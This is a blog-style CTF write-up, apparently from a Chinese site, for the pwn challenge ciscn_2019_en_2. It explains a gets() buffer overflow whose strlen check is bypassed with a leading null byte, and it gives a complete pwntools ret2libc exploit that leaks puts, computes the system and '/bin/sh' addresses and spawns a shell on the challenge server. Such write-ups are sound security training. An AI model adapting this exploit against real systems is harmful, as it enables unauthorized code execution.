当前位置:网站首页>ciscn_ 2019_ en_ two
ciscn_ 2019_ en_ two
2022-06-26 00:47:00 【[mzq]】
ciscn_2019_en_2
Title address : https://buuoj.cn/challenges#ciscn_2019_en_2
main function
It mainly displays and selects form options , according to 123 To perform option operations , The key is encrypt function
encrypt function
This function is the key utilization point
gets
Infinite overflow ,strlen
Check the length , But it can be\x00
Bypass , Then this function performs XOR on the input characters, which has no effect
But there is no backdoor function in the program , This requires us to disclose libc Medium system The address of the function and \bin\sh Address to construct rop
exp
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./ciscn_2019_en_2')
io = remote("node4.buuoj.cn",29425)
elf = ELF('./ciscn_2019_en_2')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
_start_addr = elf.symbols['_start']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
payload = b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(_start_addr)
io.sendlineafter('Input your choice!\n','1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
#puts_addr=u64(io.recv()[0:8])
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
#print libcbase
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')
libc = ELF("libc-2.27.so")
offset = puts_addr - libc.symbols["puts"]
system_addr = libc.symbols["system"] + offset
binsh_addr = next(libc.search("/bin/sh")) + offset
payload = b'\x00'+b'a'*87 + p64(pop_rdi) + p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)
io.sendline('1')
io.recv()
io.sendline(payload)
io.interactive()
边栏推荐
- idea设置mapper映射文件的模板
- 简单 deepclone
- [OEM special event] in the summer of "core cleaning", there are prize papers
- Send mail tool class
- leetcode. 14 --- longest public prefix
- How to design the product roadmap?
- 【OEM专场活动】清“芯”夏日,有奖征文
- The development context of Ba Kong Yuan universe industry
- Anaconda beginner's notes
- Redux workflow + complete code of small examples
猜你喜欢
How product managers control the progress of product development
"Method not allowed", 405 problem analysis and solution
Binary sort tree
How to deliver a shelter hospital within 48 hours?
Example: use C # Net to teach you how to develop wechat official account (21) -- using wechat to pay online collection: H5 method
1-9network configuration in VMWare
No executorfactory found to execute the application
Why is it best to use equals for integer comparisons
Idea set the template of mapper mapping file
11.1.1 overview of Flink_ Flink overview
随机推荐
. user. PHP website installation problems caused by INI files
Flink报错:Error: A JNI error has occurred, please check your installation and try again
Performance leads the cloud native database market! Intel and Tencent jointly build cloud technology ecology
Explanation of chip processing manufacturer__ What is ICT? What is the main test? Advantages and disadvantages of ICT testing?
Balanced binary tree AVL
Mining pit record of modified field information in Dameng database
Phoenix index
Daily question brushing record (IV)
Maintenance and key points of SMT Mounter
ciscn_2019_en_2
Redisson 3.17.4 release
Some basic uses of mongodb
Ad20 (Altium designer) PCB highlight network
Mysql5.7.31 user defined installation details
【TSP问题】基于Hopfield神经网络求解旅行商问题附Matlab代码
js数组中修改元素的方法
mongodb
Understanding of prototypes and prototype chains
SQL按某字段去重 保留按某个字段排序最大值
Nacos注册中心